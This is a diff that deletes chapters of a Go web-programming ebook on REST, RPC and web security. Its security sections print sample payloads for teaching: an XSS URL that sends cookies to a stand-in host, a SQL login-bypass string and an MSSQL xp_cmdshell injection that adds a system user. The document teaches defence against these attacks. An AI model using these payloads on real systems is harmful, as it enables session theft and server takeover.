represented as HTML, JSON, XML, etc; an image can be represented as jpg, png, etc. - - URIs are used to identify resources, but how do we determine its specific manifestations? You should the Accept and Content-Type in an HTTP request header; these two fields describe the presentation layer. - -- State Transfer - - An interactive process is initiated between client and server each time you visit any page of a website. During this process, certain data related to the current page state need to be saved. However, you'll recall that HTTP is a stateless protocol! It's obvious that we need to save this client state on our server side. It follows that if a client modifies some data and wants to persist the changes, there must be a way to inform the server side about the new state. - - Most of the time, clients inform servers of state changes using HTTP. They have four operations with which to do this: - - -GET is used to obtain resources - -POSTs is used to create or update resources - -PUT updates resources - -DELETE deletes resources - -To summarize the above: - -- (1)Every URI reresents a resource. -- (2)There is a representation layer for transferring resources between clients and servers. -- (3)Clients use four HTTP methods to implement "Presentation Layer State Transfer", allowing them to operate on remote resources. - -The most important principle of web applications that implement REST is that the interaction between clients and servers are stateless; every request should encapsulate all of the required information. Servers should be able to restart at anytime without the clients being notified. In addition, requests can be responded by any server of the same service, which is ideal for cloud computing. Lastly, because it's stateless, clients can cache data for improving performance. - -Another important principle of REST is system delamination, which means that components in one layer have no way of interacting directly with components in other layers. This can limit system complexity and encourage independence in the underlying components. - -![](images/8.3.rest2.png?raw=true) - -Figure 8.5 REST architecture - -When RESTful constraints are judiciously abided by, web applications can be scaled to accommodate massive numbers of clients. Using the REST architecture can also help reduce delays between clients and servers, simplify system architecture and improve the visibility of sub-system end points. - -![](images/8.3.rest.png?raw=true) - -Figure 8.6 REST's expansibility. - -## RESTful implementation - -Go doesn't have direct support for REST, but since RESTful web applications are all HTTP-based, we can use the `net/http` package to implement it on our own. Of course, we will first need to make some modifications before we are able to fully implement REST. - -REST uses different methods to handle resources, depending on the interaction that's required with that resource. Many existing applications claim to be RESTful but they do not actually implement REST. I'm going to categorize these applications into several levels depends on which HTTP methods they implement. - -![](images/8.3.rest3.png?raw=true) - -Figure 8.7 REST's level. - -The picture above shows three levels that are currently implemented in REST. You may not choose to follow all the rules and constraints of REST when developping your own applications because sometimes its rules are not a good fit for all situations. RESTful web applications use every single HTTP method including `DELETE` and `PUT`, but in many cases, HTTP clients can only send `GET` and `POST` requests. - -- HTML standard allows clients send `GET` and `POST` requests through links and forms. It's not possible to send `PUT` or `DELETE` requests without AJAX support. -- Some firewalls intercept `PUT` and `DELETE` requests and clients have to use POST in order to implement them. Fully RESTful services are in charge of finding the original HTTP methods and restoring them. - -We can simulate `PUT` and `DELETE` requests by adding a hidden `_method` field in our POST requests, however these requests must be converted on the server side before they are processed. My personal applications use this workflow to implement REST interfaces. Standard RESTful interfaces are easily implemented in Go, as the following example demonstrates: - - package main - - import ( - "fmt" - "github.com/drone/routes" - "net/http" - ) - - func getuser(w http.ResponseWriter, r *http.Request) { - params := r.URL.Query() - uid := params.Get(":uid") - fmt.Fprintf(w, "you are get user %s", uid) - } - - func modifyuser(w http.ResponseWriter, r *http.Request) { - params := r.URL.Query() - uid := params.Get(":uid") - fmt.Fprintf(w, "you are modify user %s", uid) - } - - func deleteuser(w http.ResponseWriter, r *http.Request) { - params := r.URL.Query() - uid := params.Get(":uid") - fmt.Fprintf(w, "you are delete user %s", uid) - } - - func adduser(w http.ResponseWriter, r *http.Request) { - params := r.URL.Query() - uid := params.Get(":uid") - fmt.Fprint(w, "you are add user %s", uid) - } - - func main() { - mux := routes.New() - mux.Get("/user/:uid", getuser) - mux.Post("/user/:uid", modifyuser) - mux.Del("/user/:uid", deleteuser) - mux.Put("/user/", adduser) - http.Handle("/", mux) - http.ListenAndServe(":8088", nil) - } - -This sample code shows you how to write a very basic REST application. Our resources are users, and we use different functions for different methods. Here, we imported a third-party package called `github.com/drone/routes`. We've already covered how to implement a custom router in previous chapters -the `drone/routes` package implements some very convenient router mapping rules that make it very convenient for implementing RESTful architecture. As you can see, REST requires you to implement different logic for different HTTP methods of the same resource. - -## Summary - -REST is a style of web architecture, building on past successful experiences with WWW: statelessness, resource-centric, full use of HTTP and URI protocols and the provision of unified interfaces. These superior design considerations has allowed REST to become the most popular web services standard. In a sense, by emphasizing the URI and leveraging early Internet standards such as HTTP, REST has paved the way for large and scalable web applications. Currently, the support that Go has For REST is still very basic. However, by implementing custom routing rules and different request handlers for each type of HTTP request, we can achieve RESTful architecture in our Go webapps. - -## Links - -- [Directory](preface.md) -- Previous section: [WebSocket](08.2.md) -- Next section: [RPC](08.4.md) diff --git a/en/eBook/08.4.md b/en/eBook/08.4.md deleted file mode 100644 index 2259d222..00000000 --- a/en/eBook/08.4.md +++ /dev/null @@ -1,400 +0,0 @@ -# 8.4 RPC - -In previous sections we talked about how to write network applications based on Sockets and HTTP. We learned that both of them use the "information exchange" model, in which clients send requests and servers respond to them. This kind of data exchange is based on a specific format so that both sides are able to communicate with one another. However, many independent applications do not use this model, but instead call services just like they would call normal functions. - -RPC was intended to be the function call mode for networked systems. Clients execute RPCs like they call native functions, except they package the function parameters and send them through the network to the server. The server can then unpack these parameters and process the request, executing the results back to the client. - -In computer science, a remote procedure call (RPC) is a type of inter-process communication that allows a computer program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a shared network) without the programmer explicitly coding the details for this remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. When the software in question uses object-oriented principles, RPC is called remote invocation or remote method invocation. - -## RPC working principle - -![](images/8.4.rpc.png?raw=true) - -Figure 8.8 RPC working principle - -Normally, an RPC call from client to server has the following ten steps: - -- 1. Call the client handle, execute transfer arguments. -- 2. Call local system kernel to send network messages. -- 3. Send messages to remote hosts. -- 4. The server receives handle and arguments. -- 5. Execute remote processes. -- 6. Return execution result to corresponding handle. -- 7. The server handle calls remote system kernel. -- 8. Messages sent back to local system kernel. -- 9. The client handle receives messages from system kernel. -- 10. The client gets results from corresponding handle. - -## Go RPC - -Go has official support for RPC in its standard library on three levels, which are TCP, HTTP and JSON RPC. Note that Go RPC is not like other traditional RPC systems. It requires you to use Go applications on both client and server sides because it encodes content using Gob. - -Functions of Go RPC have must abide by the following rules for remote access, otherwise the corresponding calls will be ignored. - -- Functions are exported (capitalize). -- Functions have to have two arguments with exported types. -- The first argument is for receiving from the client, and the second one has to be a pointer and is for replying to the client. -- Functions have to have a return value of error type. - -For example: - - func (t *T) MethodName(argType T1, replyType *T2) error - -Where T, T1 and T2 must be able to be encoded by the `package/gob` package. - -Any kind of RPC has to go through a network to transfer data. Go RPC can either use HTTP or TCP. The benefits of using HTTP is that you can reuse some functions from the `net/http` package. - -### HTTP RPC - -HTTP server side code: - - package main - - import ( - "errors" - "fmt" - "net/http" - "net/rpc" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - type Arith int - - func (t *Arith) Multiply(args *Args, reply *int) error { - *reply = args.A * args.B - return nil - } - - func (t *Arith) Divide(args *Args, quo *Quotient) error { - if args.B == 0 { - return errors.New("divide by zero") - } - quo.Quo = args.A / args.B - quo.Rem = args.A % args.B - return nil - } - - func main() { - - arith := new(Arith) - rpc.Register(arith) - rpc.HandleHTTP() - - err := http.ListenAndServe(":1234", nil) - if err != nil { - fmt.Println(err.Error()) - } - } - -We registered a RPC service of Arith, then registered this service on HTTP through `rpc.HandleHTTP`. After that, we are able to transfer data through HTTP. - -Client side code: - - package main - - import ( - "fmt" - "log" - "net/rpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - - func main() { - if len(os.Args) != 2 { - fmt.Println("Usage: ", os.Args[0], "server") - os.Exit(1) - } - serverAddress := os.Args[1] - - client, err := rpc.DialHTTP("tcp", serverAddress+":1234") - if err != nil { - log.Fatal("dialing:", err) - } - // Synchronous call - args := Args{17, 8} - var reply int - err = client.Call("Arith.Multiply", args, &reply) - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) - - var quot Quotient - err = client.Call("Arith.Divide", args, ") - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) - - } - -We compile the client and the server side code separately then start the server and client. You'll then have something similar as follows after you input some data. - - $ ./http_c localhost - Arith: 17*8=136 - Arith: 17/8=2 remainder 1 - -As you can see, we defined a struct for the return type. We use it as type of function argument on the server side, and as the type of the second and third arguments on the client `client.Call`. This call is very important. It has three arguments, where the first one is the name of the function that is going to be called, the second is the argument you want to pass, and the last one is the return value (of pointer type). So far we see that it's easy to implement RPC in Go. - -### TCP RPC - -Let's try the RPC that is based on TCP, here is the server side code: - - package main - - import ( - "errors" - "fmt" - "net" - "net/rpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - type Arith int - - func (t *Arith) Multiply(args *Args, reply *int) error { - *reply = args.A * args.B - return nil - } - - func (t *Arith) Divide(args *Args, quo *Quotient) error { - if args.B == 0 { - return errors.New("divide by zero") - } - quo.Quo = args.A / args.B - quo.Rem = args.A % args.B - return nil - } - - func main() { - - arith := new(Arith) - rpc.Register(arith) - - tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") - checkError(err) - - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - - for { - conn, err := listener.Accept() - if err != nil { - continue - } - rpc.ServeConn(conn) - } - - } - - func checkError(err error) { - if err != nil { - fmt.Println("Fatal error ", err.Error()) - os.Exit(1) - } - } - -The difference between HTTP RPC and TCP RPC is that we have to control connections by ourselves if we use TCP RPC, then pass connections to RPC for processing. - -As you may have guessed, this is a blocking pattern. You are free to use goroutines to extend this application as a more advanced experiment. - -The client side code: - - package main - - import ( - "fmt" - "log" - "net/rpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - func main() { - if len(os.Args) != 2 { - fmt.Println("Usage: ", os.Args[0], "server:port") - os.Exit(1) - } - service := os.Args[1] - - client, err := rpc.Dial("tcp", service) - if err != nil { - log.Fatal("dialing:", err) - } - // Synchronous call - args := Args{17, 8} - var reply int - err = client.Call("Arith.Multiply", args, &reply) - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) - - var quot Quotient - err = client.Call("Arith.Divide", args, ") - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) - - } - -The only difference in the client side code is that HTTP clients use DialHTTP whereas TCP clients use Dial(TCP). - -### JSON RPC - -JSON RPC encodes data to JSON instead of gob. Let's see an example of a Go JSON RPC on the server: - - package main - - import ( - "errors" - "fmt" - "net" - "net/rpc" - "net/rpc/jsonrpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - type Arith int - - func (t *Arith) Multiply(args *Args, reply *int) error { - *reply = args.A * args.B - return nil - } - - func (t *Arith) Divide(args *Args, quo *Quotient) error { - if args.B == 0 { - return errors.New("divide by zero") - } - quo.Quo = args.A / args.B - quo.Rem = args.A % args.B - return nil - } - - func main() { - - arith := new(Arith) - rpc.Register(arith) - - tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") - checkError(err) - - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - - for { - conn, err := listener.Accept() - if err != nil { - continue - } - jsonrpc.ServeConn(conn) - } - - } - - func checkError(err error) { - if err != nil { - fmt.Println("Fatal error ", err.Error()) - os.Exit(1) - } - } - -JSON RPC is based on TCP and doesn't support HTTP yet. - -The client side code: - - package main - - import ( - "fmt" - "log" - "net/rpc/jsonrpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - func main() { - if len(os.Args) != 2 { - fmt.Println("Usage: ", os.Args[0], "server:port") - log.Fatal(1) - } - service := os.Args[1] - - client, err := jsonrpc.Dial("tcp", service) - if err != nil { - log.Fatal("dialing:", err) - } - // Synchronous call - args := Args{17, 8} - var reply int - err = client.Call("Arith.Multiply", args, &reply) - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) - - var quot Quotient - err = client.Call("Arith.Divide", args, ") - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) - - } - -## Summary - -Go has good support for HTTP, TPC and JSON RPC implementation which allow us to easily develop distributed web applications; however, it is regrettable that Go doesn't have built-in support for SOAP RPC, although some open source third-party packages do offer this. - -## Links - -- [Directory](preface.md) -- Previous section: [REST](08.3.md) -- Next section: [Summary](08.5.md) diff --git a/en/eBook/08.5.md b/en/eBook/08.5.md deleted file mode 100644 index 560e9469..00000000 --- a/en/eBook/08.5.md +++ /dev/null @@ -1,11 +0,0 @@ -# 8.5 Summary - -In this chapter, I introduced you to several mainstream web application development models. In section 8.1, I described the basics of network programming sockets. Because of the rapid evolution of network technology and infrastructure, and given that the Socket is the cornerstone of these changes, you must master the concepts behind socket programming in order to be a competent web developer. In section 8.2, I described HTML5 WebSockets which support full-duplex communications between client and server and eliminate the need for polling with AJAX. In section 8.3, we implemented a simple application using the REST architecture, which is particularly suitable for the development of network APIs; due to the rapid rise of mobile applications, I believe that RESTful APIs will be an ongoing trend. In section 8.4, we learned about Go RPCs. - -Go provides excellent support for the four kinds of development methods mentioned above. Note that the `net` package and its sub-packages is the place where Go's network programming tools Go reside. If you want a more in-depth understanding of the relevant implementation details, you should try reading the source code of those packages. - -## Links - -- [Directory](preface.md) -- Previous section: [RPC](08.4.md) -- Next chapter: [Security and encryption](09.0.md) diff --git a/en/eBook/09.0.md b/en/eBook/09.0.md deleted file mode 100644 index 0828c312..00000000 --- a/en/eBook/09.0.md +++ /dev/null @@ -1,19 +0,0 @@ -# 9 Security and encryption -Security is an extremely important aspect of most web applications. This topic has been getting more and more attention lately, especially in light of the recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of vulnerabilities in our applications and take precautions in order to prevent attackers from taking over our systems. - -Many of the security problems that arise in modern web applications originate from data provided by third-parties. For example, user input should always be validated and sanitized before being stored as secure data. If this isn't done, when the data is outputted to a client, it may cause a cross-site scripting attack (XSS). Similarly, if unsafe data is used directly as your application's database queries, then you may be vulnerable to SQL injection attacks. In sections 9.3 and 9.4, we'll look at how to avoid these problems. - -When using third-party data (which includes user-supplied data), first verify the integrity of the data by filtering the input. Section 9.2 will describe how to filter input. - -Unfortunately, filtering input and escaping output does not solve all security problems. In section 9.1, we will explain cross-site request forgery (CSRF) attacks. -This is a malicious exploit where unauthorized commands are transmitted from a user that the website trusts. - -Keeping confidential data encrypted can also help you to secure your web applications. In section 9.5, we will describe how to store passwords safely using Go's encryption package. - -A good hash function makes it hard to find two strings that would produce the same hash value, and this is one way with which we can encrypt our data. There is also two-way encryption, where you use a secret key to decrypt encrypted data. In section 9.6 we will describe how to perform both one-way and two-way encryption. - - -## Links -- [Directory](preface.md) -- Previous Chapter: [Chapter 8 Summary](08.5.md) -- Next section: [CSRF attacks](09.1.md) diff --git a/en/eBook/09.1.md b/en/eBook/09.1.md deleted file mode 100644 index be1c4a29..00000000 --- a/en/eBook/09.1.md +++ /dev/null @@ -1,97 +0,0 @@ -# 9.1 CSRF attacks - -## What is CSRF? - -CSRF and XSRF both stand for "Cross-site request forgery". It's also known as a "one click attack" or "session riding". - -So how does a CSRF attack work? A CSRF attack happens when an attacker tricks a trusted user into accessing a website or clicking a URL that transmits malicious requests (without the user’s consent) to a targeted website. Here's a simple example: using a few social engineering tricks, an attacker could use the QQ chat software to find and send malicious links to victims targeted at their user's online banking website. If the victim logs into their online bank account and does not exit, then clicking on a malicious link sent from the attacker could allow the attacker to steal all of the user's bank account funds. - -When under a CSRF attack, a single end-user with an administrator account can threaten the integrity of the entire web application. - -## CSRF principle - -The following diagram provides a simple overview of ​​a CSRF attack - -![](images/9.1.csrf.png?raw=true) - -Figure 9.1 CSRF attack process. - -As can be seen from the figure, to complete a CSRF attack, the victim must complete the following two steps: - --1. Log into trusted site A, and store a local Cookie. --2. Without going through existing site A, access the dangerous link to site B. - -As a reader you may be asking: "If I do not meet the above two conditions, I will will not be subjected to CSRF attacks." Yes this is true, however you cannot guarantee that the following does not occur: - -- You cannot guarantee that when you are logged into a site, the site didn't launch any hidden tabs. -- You cannot guarantee that when you close your browser, your cookies will immediately expire and your last session will have ended. -- Trusted, high traffic websites will likely not have hidden vulnerabilities easily exploitable by CSRF based attacks. - -Thus, it can be difficult for users to visit a website through a link and know that it will not carry out unknown operations in the form of a CSRF attack. - -CSRF attacks work mostly because of the process through which users are authenticated. Although you can reasonably guarantee that a request originates from a user's browser, there is no guarantee that the user granted approval for the request. - -## How to prevent CSRF attacks - -You might be a little scared after reading the section above. But fear is a good thing. It will force you educate yourself on how to prevent vulnerabilities like this from happening to you. - -Preventative measures against CSRF attacks can be taken on both the server and client sides of a web application. However, CSRF attacks are most effectively thwarted on the server side. - -There are many ways of preventing CSRF attacks are the server side. Most approaches stem from from the following two aspects: - -1. Maintaining proper use of GET, POST and cookies. -2. Including a pseudo-random number with non-GET requests. - -In the previous chapter on REST, we saw how most web applications are based on GET and POST HTTP requests, and that cookies were included along with these requests. We generally design application as according to the following principles: - -1. GET is commonly used to view information without altering any data. - -2. POST is used in placing orders, changing the properties of a resource or performing other tasks. - -I'm now going to use the Go language to illustrate how to restrict access to resources methods: - - mux.Get("/user/:uid", getuser) - mux.Post("/user/:uid", modifyuser) - -Since we've stipulated that modifications can only use POST, when a GET method is issued instead of a POST, we can refuse to respond to the request. According to the figure above, attacks utilizing GET as a CSRF exploit can be prevented. Is this enough to prevent all possible CSRF attacks? Of course not, because POSTs can also be forged. - -We need to implement a second step, which is (in the case of non-GET requests) to increase the length of the pseudo-random number included with the request. This usually involves steps: - -- For each user, generate a unique cookie token with a pseudo-random value. All forms must contain the same pseudo-random value. This proposal is the simplest one because in theory, an attacker cannot read third party cookies. Any form that an attacker may submit will fail the validation process without knowing what the random value is. -- Different forms contain different pseudo-random values, as we've introduced in section 4.4, "How to prevent multiple form submission". We can reuse the relevant code from that section suit our needs: - -Generating a random number token: - - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - io.WriteString(h, "ganraomaxxxxxxxxx") - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("login.gtpl") - t.Execute(w, token) - - -Output token: - - - -Authentication token: - - r.ParseForm() - token := r.Form.Get("token") - if token! = "" { - // Verification token of legitimacy - } Else { - // Error token does not exist - } - -We can use the preceding code to secure our POSTs. You might be wondering, in accordance with our theory, whether there could be some way for a malicious third party to somehow figure out our secret token value? In fact, cracking it is basically impossible -successfully calculating the correct string value using brute force methods needs about 2 to the 11th time. - -## Summary - -Cross-site request forgery, otherwise known as CSRF, is a very dangerous web security threat. It is known in web security circles as a "sleeping giant" security issue; as you can tell, CSRF attacks have quite the reputation. This section not only introduced cross-site request forgery itself, but factors underlying this vulnerability. It concludes with some suggestions and methods for preventing such attacks. I hope this section will have inspired you, as a reader, to write better and more secure web applications. - -## Links -- [Directory](preface.md) -- Previous section: [Security and encryption](09.0.md) -- Next section: [Filter inputs](09.2.md) diff --git a/en/eBook/09.2.md b/en/eBook/09.2.md deleted file mode 100644 index 1af7f49d..00000000 --- a/en/eBook/09.2.md +++ /dev/null @@ -1,78 +0,0 @@ -# 9.2 Filtering inputs - -Filtering user data is one way we can improve the security of our web apps, using it to verify the legitimacy of incoming data. All of the input data is filtered in order to avoid malicious code or data from being mistakenly executed or stored. Most web application vulnerabilities arise form neglecting to filter input data and naively trusting it. - -Our introduction to filtering data is divided into three steps: - -1. identifying the data; we need to filter the data to figure out where it originated form -2. filtering of the data itself; we need to figure out what kind of data we have received -3. distinguish between filtered (sanitized) and tainted data; after the data has been filtered, we can be assured that it is is secure - -## Identifying data - -"Identifying the data" is our first step because most of the time, as mentioned, we don't know where it originates from. Without this knowledge, we would be unable to properly filter it. The data here is provided internally all from non-code data. For example: all data comes from clients, however clients that are users are not the only external sources of data. A database interface providing third party data could also be an external data source. - -Data that has been entered by a user is very easy to recognize in Go. We use `r.ParseForm` after the user POSTs a form to get all of the data inside the `r.Form`. Other types of input are much harder to identify. For example in `r.Header`s, many of the elements are often manipulated by the client. It can often be difficult to identify which of these elements have been manipulated by clients, so it's best to consider all of them as having been tainted. The `r.Header.Get("Accept-Charset")` header field, for instance, is also considered as user input, although these are typically only manipulated by browsers. - -## Filtering data - -If we know the source of the data, we can filter it. Filtering is a bit of a formal use of the term. The process is known by many other terms such as input cleaning, validation and sanitization. Despite the fact that these terms somewhat differ in their meaning, they all refer to the same thing: the process of preventing illegal data from making its way into your applications. - -There are many ways to filter data, some of which are less secure than others. The best method is to check whether or not the data itself meets the legal requirements dictated by your application. When attempting to do so, it's very important not to make any attempts at correcting the illegal data; this could allow malicious users to manipulate your validation rules for their own needs, altogether defeating the purpose of filtering the data in the first place. History has proven that attempting to correct invalid data often leads to security vulnerabilities. Let's take a look at an overly simple example for illustration purposes. Suppose that a banking system asks users to supply a secure, 6 digit password. The system validates the length of all passwords. One might naively write a validation rule that corrects passwords of illegal lengths: "If a password is shorter than the legal length, fill in the remaining digits with 0s". This simple rule would allow attackers to guess just the first few digits of a password to successfully gain access to user accounts! - -We can use several libraries to help us to filter data: - -- The strconv package can help us to convert user inputed strings into specific types, since `r.Form`s are maps of string values. Some common string conversions provided by strconv are `Atoi`, `ParseBool`, ` ParseFloat ` and `ParseInt`. -- Go's `strings` package contains some filter functions like `Trim`, `ToLower` and `ToTitle`, which can help us to obtain data in a specific formats, according to our needs. -- Go's `regexp` package can be used to handle cases which are more complex in nature, such as determining whether an input is an email address, a birthday, etc. - -Filtering incoming data in addition to authentication can be quite effective. Let's add another technique to our repertoire, called whitelisting. Whitelisting is a good way of confirming the legitimacy of incoming data. Using this method, if an error occurs, it can only mean that the incoming data is illegal, and not the opposite. Of course, we don't want to make any mistakes in our whitelist by falsely labelling legitimate data as illegal, but this scenario is much better than illegal data being labeled as legitimate, and thus much more secure. - -## Distinguishing between filtered and tainted data - -If you have completed the above steps, the job of filtering data has basically been completed. However when writing web applications, we also need to distinguish between filtered and tainted data because doing so can guarantee the integrity of our data filtering process without affecting the input data. Let's put all of our filtered data into a global map variable called `CleanMap`. Then, two important steps are required to prevent contamination via data injection: - -- Each request must initialize `CleanMap` as an empty map. -- Prevent variables from external data sources named `CleanMap` from being introduced into the app. - -Next, let's use an example form to reinforce these concepts: - -
- Who am I: - - -
- -In dealing with this type of form, it can be very easy to make the mistake of thinking that users will only be able to submit one of the three `select` options. In fact, POST operations can easily be simulated by attackers. For example, by submitting the same form with `name = attack`, a malicious user could introduce illegal data into our system. We can use a simple whitelist to counter these types of attacks: - - r.ParseForm() - name := r.Form.Get("name") - CleanMap := make(map[string]interface{}, 0) - if name == "astaxie" || name == "herry" || name == "marry" { - CleanMap["name"] = name - } - -The above code initializes a `CleanMap` variable, and a name is only assigned after checking it against an internal whitelist of legitimate values (`astaxie`, `herry` and `marry` in this case). We store the data in the `CleanMap` instance so you can be sure that `CleanMap["name"]` holds a validated value. Any code wishing to access this value can then freely do so. We can also add an additional `else` statement to the above `if` whitelist for dealing with illegal data, a possibility being that the form was displayed with an error. Do not try to be too accommodating though, or you run the risk of accidentally contaminating your `CleanMap`. - -The above method for filtering data against a set of known, legitimate values is very effective. There is another method for checking whether or not incoming data consists of legal characters using `regexp`, however this would be ineffectual in the above case where we require that the name be an option from the select. For example, you may require that user names only consist of letters and numbers: - - r.ParseForm() - username := r.Form.Get("username") - CleanMap := make(map[string]interface{}, 0) - if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { - CleanMap["username"] = username - } - -## Summary - -Data filtering plays a vital role in the security of modern web applications. Most security vulnerabilities are the result of improperly filtering data or neglecting to properly validate it. Because the previous section dealt with CSRF attacks and the next two will be introducing XSS attacks and SQL injection, there was no natural segue into dealing with as important a topic as data sanitization, so in this section, we paid special attention to it. - -## Links - -- [Directory](preface.md) -- Previous section: [CSRF attacks](09.1.md) -- Next section: [XSS attacks](09.3.md) diff --git a/en/eBook/09.3.md b/en/eBook/09.3.md deleted file mode 100644 index 406e3afd..00000000 --- a/en/eBook/09.3.md +++ /dev/null @@ -1,62 +0,0 @@ -# 9.3 XSS attacks - -With the development of Internet technology, web applications are often packed with dynamic content to improve user experience. Dynamic content is content that reacts and changes according to user requests and actions. Dynamic sites are often susceptible to cross-site scripting attacks (often referred to by security experts in its abbreviated form, XSS), something which static websites are completely unaffected by. - -## What is XSS - -As mentioned, the term XSS is an acronym for Cross-Site Scripting, which is a type of attack common on the web. In order not to confuse it with another common web acronym, CSS (Cascading Style Sheets), we use an `X` instead of a `C` for the cross in cross-site scripting. XSS is a common web security vulnerability which allows attackers to inject malicious code into webpages. Unlike most types of attacks which generally involve only an attacker and a victim, XSS involves three parties: an attacker, a client and a web application. The goal of an XSS attack is to steal cookies stored on clients by web applications for the purpose of reading sensitive client information. Once an attacker gets ahold of this information, they can impersonate users and interact with websites without their knowledge or approval. - -XSS attacks can usually be divided into two categories: one is a stored XSS attack. This form of attack arises when users are allowed to input data onto a public page, which after being saved by the server, will be returned (unescaped) to other users that happen to be browsing it. Some examples of the types of pages that are often affected include comments, reviews, blog posts and message boards. The process often goes like this: an attacker enters some html followed by a hidden ``. If this causes the browser to produce an alert pop-up box, we can confirm that the site is vulnerable to XSS attacks. So how do malicious users steal cookies using the same type of attack? - -Just like before, we have a URL: - -`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>` - -By clicking on this URL, you'd be sending the current cookie to the specified site: `www.xxx.com`. You might be wondering, why would anybody click on such a strange looking URL in the first place? While it's true that this kind of URL will make most people skeptical, if an attacker were to use one of the many popular URL shortening services to obscure it, would you still be able to see it? Most attackers would obfuscate the URL in one way or another, and you'd only know the legitimacy of the link after clicking on it. However by this point, cookie data will have already been sent to the 3rd party website, compromising your sensitive information. You can use tools like Websleuth to audit the security of your web applications for these types of vulnerabilities. - -For a more detailed analysis on an XSS attack, have a look at the article: "[ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)" - -## How to prevent XSS - -The answer is simple: never trust user input, and always filter out all special characters in any input data you may receive. This will eliminate the majority of XSS attacks. - -Use the following techniques to defend against XSS attacks: - -- Filter special characters - -One way to avoid XSS is to filter user-supplied content. The Go language provides some HTML filtering functions in its `text/template` packge such as `HTMLEscapeString` and `JSEscapeString`, to name a few. - -- Specify the content type in your HTTP headers - -`w.Header().Set("Content-Type","text/javascript")` - -This allows client browsers to parse the response as javascript code (applying the neccessary filters) instead of rendering the content in an unspecified and potentially dangerous manner. - -## Summary - -Introducing XSS vulnerabilities is a very real hazard when developping web applications. It is important to remember to filter all data, especially before outputting it to clients; this is now a well-established means of preventing XSS. - -## Links - -- [Directory](preface.md) -- Previous section: [Filter inputs](09.2.md) -- Next section: [SQL injection](09.4.md) diff --git a/en/eBook/09.4.md b/en/eBook/09.4.md deleted file mode 100644 index d8823175..00000000 --- a/en/eBook/09.4.md +++ /dev/null @@ -1,75 +0,0 @@ -# 9.4 SQL injection - -## What is SQL injection - -SQL injection attacks are (as the name would suggest) one of the many types of script injection attacks. In web development, these are the most common form of security vulnerabilities. Attackers can use it to obtain sensitive information from databases, and aspects of an attack can involve adding users to the database, exporting private files, and even obtaining the highest system privileges for their own nefarious purposes. - -SQL injection occurs when web applications do not effectively filter out user input, leaving the door wide open for attackers to submit malicious SQL query code to the server. Applications often receive injected code as part of an attacker's input, which alters the logic of the original query in some way. When the application attempts to execute the query, the attacker's malicious code is executed instead. - -## SQL injection examples - -Many web developers do not realize how SQL queries can be tampered with, and may hold the misconception that they are trusted commands. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing the standard authentication and authorization checks. What's more, it's possible to run SQL queries through commands at the level of the host system. - -Let's have a look at some real examples to explain the process of SQL injection in detail. - -Consider the following simple login form : - -
-

Username:

-

Password:

-

-
- -Our form processing might look like this: - - username := r.Form.Get("username") - password := r.Form.Get("password") - sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'" - -If the user inputs a user name or password as: - - myuser' or 'foo' = 'foo' -- - -Then our SQL becomes the following: - - SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' - -In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password. - -Far more dangerous exploits exist for MSSQL SQL injections, and some can even perform system commands. The following examples will demonstrate how terrible SQL injections can be in some versions of MSSQL databases. - - sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'" - Db.Exec(sql) - -If an attacker submits `a%' exec master..xp_cmdshell 'net user test testpass /ADD' --` as the "prod" variable, then the sql will become - - sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" - -The MSSQL Server executes the SQL statement including the commands in the user supplied "prod" variable, which adds new users to the system. If this program is run as is, and the MSSQLSERVER service has sufficient privileges, an attacker can register a system account to access this machine. - -> Although the examples above are tied to a specific database system, this does not mean that other database systems cannot be subjected to similar types of attacks. The principles behind SQL injection attacks remain the same, though the method with which they are perpetrated may vary. - -## How to prevent SQL injection - -You might be thinking that an attacker would have to know information about the target database's structure in order to carry out an SQL injection attack. While this is true, it's difficult to guarantee that an attacker won't be able to find this information and once they get it, the database can be compromised. If you are using open source software to access the database, such as a forum application, intruders can easily get the related code. Obviously with poorly designed code, the security risks are even greater. Discuz, phpwind and phpcms are some examples of popular open source programs that have been vulnerable to SQL injection attacks. - -These attacks happen to systems where safety precautions are not prioritized. We've said it before, we'll say it again: never trust any kind of input, especially user data. This includes data coming from selection boxes, hidden input fields or cookies. As our first example above has 